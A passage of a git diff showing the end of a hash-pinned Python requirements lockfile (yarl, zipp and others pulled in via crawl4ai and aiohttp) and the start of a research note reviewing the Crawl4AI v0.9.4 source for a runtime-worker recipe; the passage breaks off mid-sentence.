--hash=sha256:4d365ee1892c1fa803536f8c6ce21d24b29c9718ec75eb856095c07830f8c478 \ + --hash=sha256:4d6e88ddb3c741fbf29e1e7faf429880f8cd1d7aff4303247435a549726b4fb1 \ + --hash=sha256:4df57c0b161ec1b3ed0526a67b0db0914b557e86ee8aae51887aec941b261542 \ + --hash=sha256:4e0e1b0fb0259c1b75d1251ac0bb4d7ab675d36f7a6bf4ba6aa630dae94f9ffa \ + --hash=sha256:4ef09bbc2519a93cd0f95f2ceb5f7b85919dffea643278e02362bf40e3c4bed1 \ + --hash=sha256:5013be3bea7612852c62a7437f3302c1cfb91ca7e703b194459db0b2b2e0d792 \ + --hash=sha256:5177aa44eddaa97c6ef0cc00c6d540edb64d51781d2f8fb941612ec61a92c9ed \ + --hash=sha256:51f71a6e2ad071e70c937e41fcb6c19f82c3f9f49831eba850ed4a106ffbb647 \ + --hash=sha256:538f5f865df6cd8c32dd63158a0e5b4f5dd08d732a7da8b7228a5a0776c8ce55 \ + --hash=sha256:53f3ed9118397074ff63a79b66b7fec1c84c782eecde35c5bc94e420a971c231 \ + --hash=sha256:559e3cabe522231909f9de98ef06929edbd53782046bd21aae0c72db6f2a0775 \ + --hash=sha256:57189a69c0891e4818853feaa521c972d22c880a001453addea015f48e3c3398 \ + --hash=sha256:57f80a898544db78ec6b0be6183bd1bc008933193d4199f5cde36b0e6bd5e062 \ + --hash=sha256:58346024d47e84f7d8b3e7f5d6faa1d58acbbe49a8771497872059f58c1d8ea5 \ + --hash=sha256:594131ce1aad18db3689781f806db1b065cdaa04f4df36b4c038d2013aefd0bf \ + --hash=sha256:5b96f0024e9840f449bd91b2d005c921a4b666055a0d1b6492463799f32aae22 \ + --hash=sha256:5c566b123dce7e4867ca518434cdfb9f84e5023771235b2e3107a26c9a41cbd8 \ + --hash=sha256:5d3dfb1f0ff146da7952867a9414f0c7a29762f8825a84879592612fd6139342 \ + --hash=sha256:5da703225374e3a4c8d4fd90e26fe7213a52004ec77f88b42b42e9e86d8c6d57 \ + --hash=sha256:5db43f249b4be9f99ef4b967863f37094fb40e67effafb78ba4f0356b6396104 \ + --hash=sha256:5eed32dad81d6ba8e62dc7b9ffa0500199385d7810a8dd9d4eafaceb8c6e20bb \ + --hash=sha256:602efcad4a42c184e81d43a2b7e6e4f524d619878f2b6ee2ba469011f47c8147 \ + --hash=sha256:614bca2c7cfa87ec95b703e691c3c5eb6c448b6dabbe9776ac53883152951729 \ + --hash=sha256:632a34590c090d1285ed5efa5a02be919f3f9a56a64bd25f693fe1e2d27a27fb \ + --hash=sha256:64af54dd1c3a45a27c04942f9a1a4683322bdd127f4745cca4e02549c1d2d2bb \ + --hash=sha256:6536d8677d2fff7e64cd0b98b976df9de7aee0e69590044c2af5f51b76b7a170 \ + --hash=sha256:656256c9f9303e47f07d5cb8ae4468285370adfafd7ba48aea33a458e7697626 \ + --hash=sha256:6696c8752aded28ff3b16f33ef28ce28fb5d209b80c206746f943199fcf5fd65 \ + --hash=sha256:6c7574528bc922f8757f34dd78ed60ab52b1c7973b630f5eae7ba33ec133ce71 \ + --hash=sha256:6cee733fe4ccb1737e0997135283c82341e5cfa9cf214b165f9087fb663aaf4f \ + --hash=sha256:6cf633fe83b1d4e6519d7259b33afe40fbba5d3f438730156971dd0cf7730610 \ + --hash=sha256:714503083a1f2065c9ad15340dd49ac8a8e948a505a705ffa1750cb951519113 \ + --hash=sha256:717b12fdc51819833704e85e6926d76981ffa3f780ef92e33ebb8b26d46bb230 \ + --hash=sha256:7258ee276e8772599bc19e14b36f6260306e21b637190cd7cb489a2449d48684 \ + --hash=sha256:72eb5ae575cc7ae2b23f6f8064a8b10f638c7149819ae9cc6d20ebd4d37a1629 \ + --hash=sha256:7345007c12780985de4fd740148776d1eee18c0d41407c6fa1e48c5450304fe5 \ + --hash=sha256:747476436f6891b9773374ce8d48edcc8b12cb5b61b67c6fb6289633747d088f \ + --hash=sha256:77f74e45a1e5574bbbf80181c8027b3a4c65c2248fffbd557bd596fff13102f9 \ + --hash=sha256:7801b7223db017b9c0c9ccf37e44524edb35a1544a1c032add22c061c6af0276 \ + --hash=sha256:78c794b643d214f1522e7a288bcf5a2de120d26cd170516749a4009dc92722c9 \ + --hash=sha256:7b5f97ecfede10d5b2870383620e2d25c8561e217c7bf9081073802b54248d2b \ + --hash=sha256:7dc4bdf008f77c88d544849c48c1a40faf25a5eff6cc466de2e8edc37c191fce \ + --hash=sha256:81f4ed9ca9644bc95cd976bfe10f7a4cafab8ffdc3aed52877d4600e445be7ef \ + --hash=sha256:82c0cedd280eab2e8291270e6c04894dbc096f8159a39dcf1807429f026ca3cc \ + --hash=sha256:8304be0982130954b7fd3aad18e2c6f8ee40254bc3d2e635991c16d77c91e2bd \ + --hash=sha256:83697b0ea1f10e7f5d8b26a4906fa851393c61546c63839643a2b7fe2d868061 \ + --hash=sha256:836f11d4474d3228e9909d97216faa4f7505df41cfaf3927eb29809de785a78d \ + --hash=sha256:83b9130b80b216d56fdf9e87131946b353c9627930c061955a101ea82b09fed9 \ + --hash=sha256:83d879362ddd0fedd3f2ab8ce7cce3da2049a6d51d16da8af73011c6edf4752f \ + --hash=sha256:848182a391fffdc25605443e832f5b443f25498edeccf9a64343fd84421ca04b \ + --hash=sha256:852bfe059720632e2f16a6a4745e41d20937b2bf2a42a401e2412046bb6971cc \ + --hash=sha256:868a8dcaff1a84ba78038e1cef14fc88ccf84d9b4d12ea604696e0693296aa56 \ + --hash=sha256:89b11a5cdd441aa463f6d34ca0241602bc09b001a76994b6059828494108c673 \ + --hash=sha256:89df64c10adfe340fb00330042537cdd6bf0d8d78bad73f29cfe5427eed7b084 \ + --hash=sha256:8ea8a141eeced4f6262ab6dd71c681ac546a558c30bb586abe087d814b5f85ea \ + --hash=sha256:8f454166c2ffed45636c8d501741e649851ba2f346c4eb73a64c07ac00428f20 \ + --hash=sha256:8f759eed402448c2bdbb492e4fba1f20668ffe29688605ea61f0f67f9e4e386d \ + --hash=sha256:9043877a917be88ccf230aa5667c1bd059bce80f4c2727e4defa1b29b7f48b08 \ + --hash=sha256:942bc86e9be6fdd6e1175048f5fe8f8fdaaf2309dd1323ef1e155a69cd346780 \ + --hash=sha256:947a585bcaa235702b7c59433b485489397f9a163b3f56058b9463a46fd9b74c \ + --hash=sha256:950ac754d16daea42038f38e7465eb84cda4d08d7343c1c915771b29470f065a \ + --hash=sha256:98d8ac1129b4dd39098cffed94d1284aceb61c3aa396757ccc736ac392e4cee5 \ + --hash=sha256:98ee81b4b7f3023c9cb04a78cc67610baffcb5812d92f2096cb5a5efc6f19437 \ + --hash=sha256:9b2ce44bf8f4a1d01f418b3110ff8dff32fd3f3e836c0e06333c3725f243fa6c \ + --hash=sha256:9d45eee3a95a8b61e5b568580caac91f1502ddb731aaf8f4aa448a98660b2fb4 \ + --hash=sha256:9db455cb649dcfe4504d6d68a6d83a7315a99a3ca59871dc3ff840671f99adba \ + --hash=sha256:9df56e6df96a60590935e22373041cccc91fd55858763dcffb55bf63b3a2b396 \ + --hash=sha256:9e80238259655bf69d7bcd08226a970d7f42605f3157786bfa76dd13472d7fa0 \ + --hash=sha256:9f23083e1bd9d901f844af7a126727c486e7eada9a1a6791c8f7e73f94fac656 \ + --hash=sha256:a2489d3a776fa380cb8e71f54c7fda268a9baf3de9b1395093fd280f95735907 \ + --hash=sha256:a5cd96f6dcdf4fa657b2d95668d71d58455248f98712ecffaa9c528edf40ccae \ + --hash=sha256:a5eed9d41995a83f3332b4e3396abb7f433cac584222bd7e305b606d8353861e \ + --hash=sha256:a6617f30641ba0d8baa1635fbefb1dffc5165ec36d26921bd5cee13497cd937a \ + --hash=sha256:a6e088bd7870775624256a0d84c2a6714afd223b2eeb56b0ca58398e52a32fda \ + --hash=sha256:a98b2f95cab589e0f5e92c48431afb4d56238b8bf6668edcc66166180e9b509b \ + --hash=sha256:ad52a0e4bcc0ba956a953a169d1feec2734a64981d689e4fc8f490f7bf91af60 \ + --hash=sha256:af0c9fedc4a2c24e8664953882fe8185f3790b8338c9c700f76f5ad660817711 \ + --hash=sha256:afe6380a0e9653a87aa1e6e88fb47718113e5563c7a1cb2bcc23c1d8e17e3961 \ + --hash=sha256:affb37f152e55b5e4494bb9d0107f7bb08515c6704fbed82d9f61214d74adc17 \ + --hash=sha256:b0093cf7eeb91b84776e8742113afa4bdf47533d36cf719179aaaf1f56f6f8bf \ + --hash=sha256:b0de4bf3aa66363552d52c6a89003c479911f12098cd48a53d44a0f7a25f7c46 \ + --hash=sha256:b30e01a0b97a4bc3f519a4d7a82da3dc53251fb0de5eeea8660dcd4ff094c0c2 \ + --hash=sha256:b3ba794c3d885803db6c3116686923f1ec13bc86e621e169a375282b63ea1cc6 \ + --hash=sha256:b3e1107fe5ca030f946dfa59fdbb66b5df121c8432f14b0bdd282d17b297f4eb \ + --hash=sha256:b5196cc2574cfec572a5f3fb7cfa5ade27305ae3d06516a082132441aff4c83a \ + --hash=sha256:b6fa3116e40e14e7782fb1a9f872f94b5997de21127c95545ce40196ac1351c5 \ + --hash=sha256:bb70573d2995d23932e2871120f78d798ebc3572e54c09e694a18ced95c5f8d9 \ + --hash=sha256:bbcdf9c92d21c65bc75426eecea724c8fa0d35a6e201fdf1630011d4cc3aa685 \ + --hash=sha256:bcab50a389cc04d87f90092af78a6adba2ab3deca63175a3344ca83514045315 \ + --hash=sha256:bf28f55e427e0483acb1f666bd0d869b6d5e5a716680c216ad7befe3d4cfba2e \ + --hash=sha256:bfcd82852c62a60e314670a9602de354c4460f8adad916e2e42a20860c7870bc \ + --hash=sha256:c240939e963653054fc7e4a17c382829cda4aa88a7daf0af841715dbded1b497 \ + --hash=sha256:c31a2649bcf1fe97cf11c79848d761df33ac46b3896942d31b640557b486ff6b \ + --hash=sha256:c4ed42965c2cd9081f011be22f69d0e65d3b6165fe7734072fd0c232840bbd4e \ + --hash=sha256:c73b6f652f0745425aa6378319c331293b5341756262e9408ed3d45f183375e6 \ + --hash=sha256:c85949d02c85adf6d786eb94858e124989a632a4e65739835b2fc5761827fac3 \ + --hash=sha256:c919f38cd3f0b5e8d30b81fd6cac688cf9221560340f0c35cbbb8b2bd77ad6ac \ + --hash=sha256:c959f88160b13b4e730b0d75b459b7929fc0d2225c284c9683ac95d6feeeac6a \ + --hash=sha256:cb3fe820c27593f170770d6c8d791936cf6275d9269405fbb7b30a55363c10c8 \ + --hash=sha256:cf399fac542a1c7a4734a435b93df2c55e858c7d31abf6c1bdf46f9ae67fbfd0 \ + --hash=sha256:d0b48cdf690a64cedf7258c3dc9506cc41fc86edd7739c40e3098952265dc068 \ + --hash=sha256:d247b34bf433c92b41689318fd25d246313cab2275a6a47e2efac178b80d6efe \ + --hash=sha256:d48acabb1e5cb0071009f80d71d7f01b6ba2c1d4b869b1352bb5df3f11bf7dfd \ + --hash=sha256:d5006c65ec507a333479e76e00e2c368781f16c24ededa764763956b32a0e93e \ + --hash=sha256:d58ce8b6cfa9c4d2f230557f69caf7c06369e318015d0b19485095bc2c5963ab \ + --hash=sha256:d59e71153fe9ff85648d00e18649b07e9b22c797291abb7e27274fa06df8b838 \ + --hash=sha256:d6a5c0bce213b23b0166fe0d35bcbbe23ce4b968f257cc7eb6fd57cb8e1e6297 \ + --hash=sha256:daa86e4b68221d38e669bb236ba112d0335353829fb627c82e5909e4bbe8694c \ + --hash=sha256:db77278a6eddadbf44ce5aae2fee5ebb4d061f026b1ce2130d058cd4d7a7b670 \ + --hash=sha256:dfe0580fbfd5e4af87d0cc52d2044f155d55ebd8c8a93568758a2ea7d8e15975 \ + --hash=sha256:e14800b9b10bb39d7a60ad4a310e403164d7b8988a27ae933d4e40618a44088e \ + --hash=sha256:e2a845687219ba3214126f14a8a5861f97c9e065a7d0b8252adb6df13eea86fb \ + --hash=sha256:e3b87cbd974512c0c5fc7b469c36b2cdc9ee6d76e4ec78bccb2c7184611c49b0 \ + --hash=sha256:e4a6443968c4e8dc69967e12776776a5952c119cc1bd94168ad1c5ad667c2be1 \ + --hash=sha256:e605e0b8abca9457abd5bee737e086ab145a20c25083ef1113013612268872ff \ + --hash=sha256:e6e49370822c1f4d8d90e678b06dbcb08b51a026a7c4b55479e7d467f2e813bc \ + --hash=sha256:e710ad822c493fb80a4fbc1e3d0a807b1422cb90adbe64378f98291b7fa48fef \ + --hash=sha256:ea6a3e734b0fd41b82784a400be946821900daebe610c050a5e0760838a34f99 \ + --hash=sha256:ec55d80e9b8a519d742669e0b49e8ce9e6747be42bf3c138158b6543a9c8e489 \ + --hash=sha256:ed8bcdab6692fd4ad0dd6241807a24a640a376764460023b8d462d745e6b7b27 \ + --hash=sha256:f377012b86c0a23a1df0cf5a1b05aa7187649e472f71c7892e5f2c2815bbe74f \ + --hash=sha256:f6114692261eff4266386cdec0f7d87eee24e317ab397c218b7ae6a76b4c6339 \ + --hash=sha256:f8044cf4c77f37968b8c4cbcbf7a0f355d8a437877ae18eba23e3aad953a6cc7 \ + --hash=sha256:f8ed8940435834141061da26d27c4dd0d18fb69777bf431f5c6cc46b43349113 \ + --hash=sha256:f93e408255ddce525189bf11feaa1be7ee35e55f486c299c97d9caa68d724a5b \ + --hash=sha256:fb9e256a357dfcede7818c6d34e70db2d6b664394803d1de4b6984d2de76c0f1 + # via crawl4ai +yarl==1.25.1 \ + --hash=sha256:0136d640dfa9b0523853e411430a99f8a91eca85774c6420285a33b755bc6de3 \ + --hash=sha256:03dd38de09bc213e9a8b29761eec33ee1d5318dac0e49d8af36e4d27830e23a7 \ + --hash=sha256:0a191bfdb30a79b98e5d175d75285f9fcb78bf0e46ba5efda042e1c72071a0de \ + --hash=sha256:0a66db89ea473abeac4b70523cafd94db3772380e565f9d28af7a179b7af71fa \ + --hash=sha256:0ae12ff2b805fa02c4dab838005caef735e39986322698c48588d3beacb65c62 \ + --hash=sha256:0f12afda4eea8c8994a76d4df1875c765194f5fbe8a9d197929ea303caee29ec \ + --hash=sha256:10b2fd95332f0d716d5eee3c9fb2ce8eada19082de7fee83d32e37992fd75c26 \ + --hash=sha256:126a2533570c554719ca40a1288fdee1700b6bc82e7131aa69fa85252d92e651 \ + --hash=sha256:12b6bc4906e11f5e1a1cdcb12296e7afbd366c783cc8073403cd2fb74334e453 \ + --hash=sha256:142c06c4d6a35ee3ec5da08499805e879cb3ca7c1fbfbecb0140fe72403818d6 \ + --hash=sha256:14b79a30a93a3ce2e8832603fd0ab780ada281b0ba5110b519a634f2d7d7d1fc \ + --hash=sha256:17c9877a89fb6e2bca6f9087eb24cd7fb434653946ef5075e470d23d49b52287 \ + --hash=sha256:192a866877a49993949ef1975864ad8728bea28ee810f6abe1a0729c2b500426 \ + --hash=sha256:1ab7618921a93767387a4b83776f751588f5b5ae9bb5bc96620e2e2e00bca868 \ + --hash=sha256:1e80dcf1446e1b080b1932b0d103c464a04112f5bc31f0f983ad418172063cde \ + --hash=sha256:1f51020b2eb8a003c84925638ec63c21a750a4bddd3a22ec8eac6a742dadf1b9 \ + --hash=sha256:1fb2a01ba8cd9c5d2c5dc1ec35e0fc951d04b4f037541d4ac090c993ce58b3d7 \ + --hash=sha256:2239a02249d9326655419e0168a28ca9008938eaab31dc29fc875c217927a6c0 \ + --hash=sha256:23bf5b403c879a54964e0feac7285688e04bb220074878d737d331522da0a5bf \ + --hash=sha256:24ce942011a61953e7d313438038f4d32ff21387b775f58a957f7a07dd55ef95 \ + --hash=sha256:25868beca8b6765f8f7d0e11fe6dd7c66dd4b0793b9500286d20cc92352126a5 \ + --hash=sha256:287e99ff5aa4dc1c7630bfc683ded6f106d756c99dec432a2d7f197a784f51c6 \ + --hash=sha256:29273edf1530e397bd07cb784db1fbe0d2590b77569f2e24679a9c0a2d763b94 \ + --hash=sha256:2b49375d22299b0a834c2bca72f39aaecc270d96fb24c30424899676f487b22a \ + --hash=sha256:30eec96e8a91bd588ce897c9543f6d5d8d34b28fbcba28a4dedf20ebeae9fe57 \ + --hash=sha256:319e070a01db9920fb63761843f96a104c8e2b9427266731810dc1e22595b17c \ + --hash=sha256:35dcbea443fafb3eece757ad4e514560ddeb6c34cfae1582c620d7b293d7feee \ + --hash=sha256:3f4d48a6112712973e676bd792121fee470e432d749177162d9949d5c9460a1b \ + --hash=sha256:3feb99222553a8cbedfa52c2f59dd84c3f50d5b582c728d522caf8d72769a54b \ + --hash=sha256:419f392a1da624877975709e3864dfe833af6cc7671b39318086d456e288380c \ + --hash=sha256:42a66563d8cc056ee32e6191e05097a7b2b3bc302e0bc3133daf8710eb18bd26 \ + --hash=sha256:48796ea00a303961507dc6c8437c4b325a6fc3f95f7c36c71b91ea9a8150963c \ + --hash=sha256:4bd6340d20ae2c7ca719b87b426e808e90743b676d05d4c26c4fb5ca71f41184 \ + --hash=sha256:4ca89e4e21854ed27ec753297dde84b16c9f8e53b14a4866fb44457d643c19f8 \ + --hash=sha256:4d781294bb815ecb5ea57ff6bbf8038e0a31a95fdf3e1788f66e0dc100d64b58 \ + --hash=sha256:4f1c91f5a5980a937ff8e238e98e6897e1ad74a4b1e2c0d68c73b5ffbb3f5c0b \ + --hash=sha256:564fdc7085d2245ab84f88882fdb1d6ac0723124bff6ded35bfb1c00f812630d \ + --hash=sha256:59ba3a6e1aa8cfe5adf4bd270fd965db21955401b7ca6f1696010c55ed4daec2 \ + --hash=sha256:5df89f769cc8ff94c3d7e7603386fba309d25ce5240132d26c15baa8d0e96c4c \ + --hash=sha256:632da579b2d879f6bad20f2cfa35ded1efe2f4f77f8abb26a6234a5b236acd2f \ + --hash=sha256:65b5b2066651b7432d389e9799d979c703bcc6ef44266bb8153ef54e91e4aab3 \ + --hash=sha256:664ec6a520b74a1df2810666eb67695fcb77fa663e6ea0a25aaf2e529cb24dfa \ + --hash=sha256:681c758b0490f9e96b78e5fa8e8dc6e648e9185bb6eaebe73183c33ea0c445f3 \ + --hash=sha256:683e362b8ba453080f7489c66f4ea794e751c35b72e7eab3575ef784c2fbc7fb \ + --hash=sha256:68782fdb4027b8d1eee25ec35e9a6db05e863b899eb0310b3a33b6c3fef55707 \ + --hash=sha256:6efaf45df6a849cef613a03a94c845647456662f85438c886bb67a9c027c8c2c \ + --hash=sha256:71f42c5b9a948c113bbdebfa544598321431d064ff959d32e99b1feb61d68345 \ + --hash=sha256:72849d892954be4d09e569b8b831ac39ce58417fedc767d4308a0fe542018a40 \ + --hash=sha256:72c34ac7ad4314c19362d5ce27626dcc8429bd30bbf8c179f4234078851f9492 \ + --hash=sha256:734f6e5400352ac4254456003d462866c684703570929cff7a7bde015d0cb371 \ + --hash=sha256:75baa6cf9b6d1c52f3e111a130e202fd8cf0a5b3a066c3f73d615e885092e4ec \ + --hash=sha256:77716e245c90f058466a05e6a465bb8600f767a8f4b18b4d40f3aff958e5f73c \ + --hash=sha256:77e5099b99b37f3cf79c246998ca9f7313a78054cd1809ec46bc1afad47e1c4c \ + --hash=sha256:783dd1467083f4d3f7722ad6a313f24c173e7571372738fcb7a6e6d1ba48df25 \ + --hash=sha256:7a5c3115595995779ee21f2567035793911c3802a43c74f3fbb0314929ec67ac \ + --hash=sha256:7c88edaec8c349ad4c5ad4c486a3defcc4b80ceb2f074436ffa0a87caf5e76a6 \ + --hash=sha256:7cb414a73e21a7ab58254926073f2930cb22f5b4314ea4260a687e2b3fd4dce3 \ + --hash=sha256:7d42e7e3ca399555578b4d617e3a6ecf13371b3743a115995fa010c7bf341459 \ + --hash=sha256:7d575b54cb3863ef9bc290ea4b009999d55dc237326131e4853cf33e888fee03 \ + --hash=sha256:7e4de3ac4adbad3d0bc7c6f4360a7dbff5de2f15e3b723be3198074e17fd9c40 \ + --hash=sha256:7efc9f082dfed77c316edffa9deb52888e1bc6789171887cc1f68e06d65465c8 \ + --hash=sha256:80a063f8297fc796296f00f100be520f209b23dc98f93ce8eba6ee7122598209 \ + --hash=sha256:80e47012e730da131c9f059c80936783f9659aae22dc31c03c0595590d11ed54 \ + --hash=sha256:83d4a37e4b95da4d8bda930d6d35b75b4cdadbacbb4980cae290ea3100b5d51d \ + --hash=sha256:83e9f4a25085bd4b7214701a0794ff1f50fc633ffb8bdfebf07abdd81c2db126 \ + --hash=sha256:85a18376073f8a39aa07be34f9fc77e2869aa72c55c441efdd2cf79a0407504d \ + --hash=sha256:87796fedc3ba97ec14fab55acb48584276e6c1e4c1e89c422bda62c838e754a9 \ + --hash=sha256:882569ff613758cac762a457a5d72d6e211b28d4bcfea89d1d71ea942b02eac0 \ + --hash=sha256:8ce4d6ccafb33d39bd78444612d14938ead674c25702ded2ee9c54a47735d225 \ + --hash=sha256:8e7d98cdbb6d71e726f7d525952867096053d1f290dd4e3c50d7d313a136f414 \ + --hash=sha256:8ee202350cf57abf0e9502a41601841019c25d3db7ff52d980aaf31446254059 \ + --hash=sha256:8fb0eb4955adf0579001581f2f71a126e8781ba61bcd120f127b0401163c6c2d \ + --hash=sha256:90c30ed53546da833c700115c0064c22120d1b1560f474699fd31f22dd668233 \ + --hash=sha256:9489e6abf47ba37f332075a91444c7cfedb03e6ce99fbb2f116bfe1ce810da3b \ + --hash=sha256:94d7aa6debf92a1dd14cb5280b083a764169a13cfb23a452111160274ed989f4 \ + --hash=sha256:98d370568f393215d605304cdb77b3d5539bd192c75b623c7304c42c8d6d8273 \ + --hash=sha256:9b1bdaae98bc016825dd3c9d8ee1832f829b3341f9cc6ebd1a1b0a7fef7367cc \ + --hash=sha256:9d693bf4bf534e9ba3ae2780cfd577f5135629f7b5ac653490859d0b77864865 \ + --hash=sha256:9d6ed3d17bccce4c05343e1ca8da13bc5c02c812a4e7282ddd05e8769322d3fc \ + --hash=sha256:9e23c82b63cd7652fc24d33ed6cc17099d607aa3b4fc4ddc75e95062f3d82df4 \ + --hash=sha256:a1daf47cd95a7c3a63456336bc5aaa8c86dd3a47d07ed3d0e76132ae4666a5a1 \ + --hash=sha256:a1e32763e641a1566507d90a8d3b19bfc3cc04a9d4e5ae3e32189874ed4b58a3 \ + --hash=sha256:a2059a2d891bd156bc5184e7ab7a56e78a84dfcfdeac8c501b552533ad1c36ee \ + --hash=sha256:a2ed0ba415ccdf08f14bf544cb78346d0f76086707ffee24921a2c84dbf1305a \ + --hash=sha256:a3faadac7d812ddac258feb57b9846b60c1b437c4f4b9ad42595c6f6fe4390df \ + --hash=sha256:a5877f2255aab518ebe528289037699201d5dc5f045f2396cb30aa02db22f57f \ + --hash=sha256:a78b50b4f7918a3de71105d5c0b93bbc57bb8339a4d03a9dfd449f9068e76f3d \ + --hash=sha256:a8c2b841478068440d8b733005d13a5ef535b9928cbc05f17182d410f32ba449 \ + --hash=sha256:a9ca696eb02e5c02a8afd872ada510eba9b7fe6e68b9572c2e9a9b1941e31e2e \ + --hash=sha256:aa4ed3dd308548f9e707d9caaf005d2d7f8c1e7868f858dfeb47fe76e16b391d \ + --hash=sha256:ab2054c5531af2a9ba7b69b8ec91e4f884420e83a8c5e579b013084cb57e5e5d \ + --hash=sha256:abb1384477f5901d436b5d2e5465954de46ea6098f59163d243660b5c4461d35 \ + --hash=sha256:acae6b45d1ace09b6ba3876da43b88366ef368f73b988c7f57e14231753d4420 \ + --hash=sha256:acfa7e22aa6c6e7a5996a41d275bfa01efa7ea56ab890590280e9063e2cf5c1b \ + --hash=sha256:af4ea5b37403ef4e30f3927eaed540db942bde01d8d3ff083527c0704d1c9c68 \ + --hash=sha256:b10dd0557ba422715b5206b3743192135a6022acca8baec51aa127d0a75db8fe \ + --hash=sha256:b13b88747769537f3d32e89e3a735da10c0a9e35d7322928c701b5f93d3afffd \ + --hash=sha256:b51c159a9794633f5e0db7ecec7b2b6e3734eca1f5d17dc989ff3552a43ff78b \ + --hash=sha256:b5402a340723fa7da00b5cff987ddab61276be6d11251ea71ae02bcac54890d8 \ + --hash=sha256:b7abffdf37af1cec6a2ad69b827aa84320db5894791bc8ed932dc93fb274b7e9 \ + --hash=sha256:b8075fe90bc08e40b8b8a1874fab42ee4c7b56af05c5886e9cc841397f916908 \ + --hash=sha256:bc3ac7bf569f6b64dad04dd7808c7872dae8a97df657856eac05e9b7e3614a85 \ + --hash=sha256:bd0912757081f89b107d6c00b2ff8a194401b0b87eadcf4481de2b865a8fd44f \ + --hash=sha256:bdc8d8b8c22e9e43ac68316b5e6cf083dec537f4ec213cb4aa967b583bc3fa64 \ + --hash=sha256:be80550d9bfe83d9b62398a37081a90434e6df2d978ec345c3d2820de6beddab \ + --hash=sha256:c6f117789d22dce188e5754e8bc65b7e6ebf8cb73963b9fa761f672a5883769d \ + --hash=sha256:ca32926d7d77bcc8838425c4c95e040a3ace1cb7dfdae599013458dcda2607ca \ + --hash=sha256:cce0727fd5ac04d372fa9bbfde9febc2bcf209aadfcf0468e45dec72719895d1 \ + --hash=sha256:d0f1489233a254bb3643d2f05de7d59019254d81daeca6b9162fe9edef57e0c7 \ + --hash=sha256:d1c557dfd5e3db046053a0bdc72261ade790ebe8e2c7a41b36b0ca1f14cb95f3 \ + --hash=sha256:d21f0fa80a02d05299207eeaafef345d812ace96d5306e4ef265e1d419a615fa \ + --hash=sha256:d45673badd08456d0340e9364eddafe1c53a9d2896424294de4d7dd71ad3ee57 \ + --hash=sha256:d5add7b4ca7afeea91d52e4d4e4db3b1fe9885b71f07054560d8c4296b7441a2 \ + --hash=sha256:d5f90e44653c4e0f78501ed9bb7d3fce835a8d62b7c6ed0cb16557534087e743 \ + --hash=sha256:d7306dee25b8a0e737363f347362b875094b4dc4e367311470656ae420fdbf8e \ + --hash=sha256:dbcef5a9119ef653653132cccaf999b30a0af6f33bb0a4ba80bec30056868487 \ + --hash=sha256:def538065f9e4d4cf1ae164bd59aba00dfa84f03923e0de4c3788f252d6bcd17 \ + --hash=sha256:df23df54b5114a17c2d0ef192433e2e5a9f0c5178c32375e90b7cfc965f349d0 \ + --hash=sha256:dfbf531053a0935f2e871bcd4753f90313688772ff8c017f5ea402e315a78c1f \ + --hash=sha256:e029648f9c951db30e98a7d7ec90835db88ec4b32820efe2a9bdc2287e032eb6 \ + --hash=sha256:e07595c7d6f4db270ceede356a1bd1c07a34f1c26f958d1ed0cd7b48e0d2bba3 \ + --hash=sha256:e12c538e00e7c1b286a07061046b90e8124e6a9793efae2c70db6a4aad07faad \ + --hash=sha256:e546fe1d4a93ebc2910f0d768baff19faa09843ab3f2036a67ed6e69fae4419d \ + --hash=sha256:e5637ca8d0bd7fb72648a6c7934af4baaccb697657f7438c9d264fc2abb8b0b1 \ + --hash=sha256:e636b64d24fd9c38053c5e389a1174c66361fa49dcfd220f4dd35b4abde7cb89 \ + --hash=sha256:e7011b8fb8c4054bf0c12e5edc6cd83778b0028e99ce59b18586ed036f92cfdc \ + --hash=sha256:e80f557716fd765439577131e526b8942ffc2c07bdbc5e39fa62f660ba1e963f \ + --hash=sha256:e92b6bcc741b86d67606c40d3cb9c7cc8e6c737f81e31f4a94efc204456c92e3 \ + --hash=sha256:eb96ed1ae6c7d072d60840c0434aef07a2df611812810807fbc54263a6053e9a \ + --hash=sha256:eda19ea5ee88742f47a2340816e6f2d40b53bed3ab5b69794769f36af9f35bb4 \ + --hash=sha256:ef74070ac553c59eb4f04258722066d6c6135b7baa03b2e9f2da65c096e96d98 \ + --hash=sha256:efb01a106f971cb3752856bca2318bbdf7f01bd8823779c461586cbe5ffd5258 \ + --hash=sha256:f074e8d4aa0a5798920ddb6de3d08b228c614ff3724c3e8bd7577f4bafea867b \ + --hash=sha256:f38a70074041d3b7e138e452799f5174198bae5bd5ab2000917badf403908c5f \ + --hash=sha256:f41753a76f4f63927d03a0d8ba8f5ce0f2083bec29a8cfaccc55371b1564b96b \ + --hash=sha256:f53dcd26694f148f738edc052b5a69234833e739f10f4c3287bdfd8ec0f7b326 \ + --hash=sha256:f61964f235a43738bfac50da46fc4254943a7eea3051aeb0b6fc7c992c29fadc \ + --hash=sha256:fe01645169a2112aa1d4ebc3e4c5f029c5c8f97adfc32e5d37c993b39a994d75 + # via aiohttp +zipp==4.1.0 \ + --hash=sha256:25ad4e16390cd314347dd8f1de67a2ac538ae658ed4ab9db16029c07c188e97f \ + --hash=sha256:4cb57381f544315db7688e976e922a2b18cdb513d21cc194eb42232ba2a3e602 + # via importlib-metadata diff --git a/blueprints/runtime-workers/crawl4ai/research.md b/blueprints/runtime-workers/crawl4ai/research.md new file mode 100644 index 000000000..48c9897c9 --- /dev/null +++ b/blueprints/runtime-workers/crawl4ai/research.md @@ -0,0 +1,235 @@ +# Crawl4AI v0.9.4 source review — 2026-09-27 + +Status: recipe construction only, `lane:foundation`. No installation, image pull, +service startup or model call is authorized in this builder worktree. + +Research used the installed search-first and find-skills workflows, the +context-mode fetch/index/search tools, and a bounded read-only research worker. +The user prescribed the offline test seams. The test was written before this +directory existed, following the installed TDD workflow. + +1. Installed-client preflight: `command -v crwl` returned no executable. Native + capability verification is pending; this is not an assertion of absence. +2. [Official release](https://github.com/unclecode/crawl4ai/releases/tag/v0.9.4) + prescribes `pip install crawl4ai==0.9.4` and `unclecode/crawl4ai:0.9.4`. +3. Pinned source inspected: `pyproject.toml`, `uv.lock`, `crawl4ai/async_configs.py`, + `crawl4ai/utils.py`, `crawl4ai/extraction_strategy.py`, + `crawl4ai/async_webcrawler.py`, `deploy/docker/` and the official extraction + example. The README records precise source anchors for the resulting recipe. +4. Official tag documentation inspected: `docs/md_v2/core/fit-markdown.md` and + Docker/LLM extraction documentation. PruningContentFilterLXML is the maintained + pruning class at this tag; the older BeautifulSoup class is deprecated. + +Skill discovery checked the skills.sh leaderboard, then its public +`/api/search?q=crawl4ai&limit=5` endpoint. It returned +`brettdavies/crawl4ai-skill` and `lancelin111/crawl4ai-skill`, among others. +These are discovery leads, not evidence of framework skill loading. The pinned +repository tree had no SKILL.md; the adopted 